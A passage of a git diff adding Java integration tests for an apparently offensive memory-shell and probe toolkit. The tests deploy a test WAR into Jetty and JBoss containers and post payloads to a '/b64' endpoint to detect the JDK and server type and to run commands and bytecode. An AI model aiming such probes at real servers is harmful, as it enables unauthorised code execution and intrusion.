ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java new file mode 100644 index 00000000..c135b494 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.jbossas; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Jboss610ContainerTest { + public static final String imageName = "reajason/jboss:6-jdk7"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.7.0_17|51", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JBOSS, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java new file mode 100644 index 00000000..06d25cc8 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.jbossas; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Jboss711ContainerTest { + public static final String imageName = "reajason/jboss:7-jdk7"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.7.0_17|51", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JBOSS, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java new file mode 100644 index 00000000..afd0e514 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.jbosseap; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class JbossEap6ContainerTest { + public static final String imageName = "reajason/jboss:eap-6-jdk8"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JBOSS, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java new file mode 100644 index 00000000..9f9fb967 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.jbosseap; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class JbossEap7ContainerTest { + public static final String imageName = "reajason/jboss:eap-7-jdk8"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.UNDERTOW, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java new file mode 100644 index 00000000..809c1bf7 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty10ContainerTest { + public static final String imageName = "jetty:10-jre11"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|11.0.26|55", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V11); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V11); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java new file mode 100644 index 00000000..2b89fc05 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java @@ -0,0 +1,84 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty11ContainerTest { + public static final String imageName = "jetty:11.0-jre17"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|17.0.15|61", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V17); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V17); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java new file mode 100644 index 00000000..be145e6f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java @@ -0,0 +1,56 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty12ee10ContainerTest { + public static final String imageName = "reajason/jetty:12.0-jre21-ee10"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|21.0.7|65", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java new file mode 100644 index 00000000..6a0f4ff7 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java @@ -0,0 +1,56 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty12ee8ContainerTest { + public static final String imageName = "reajason/jetty:12.0-jre21-ee8"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|21.0.7|65", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java new file mode 100644 index 00000000..2a2720ae --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty12ee9ContainerTest { + public static final String imageName = "reajason/jetty:12.0-jre21-ee9"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|21.0.7|65", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java new file mode 100644 index 00000000..a40544fe --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java @@ -0,0 +1,84 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty61ContainerTest { + public static final String imageName = "reajason/jetty:6.1-jdk6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.6.0_45|50", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java new file mode 100644 index 00000000..51c06faa --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty75ContainerTest { + public static final String imageName = "reajason/jetty:7.5.4-jdk6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.6.0_45|50", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java new file mode 100644 index 00000000..565862e4 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty76ContainerTest { + public static final String imageName = "reajason/jetty:7.6-jdk6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + 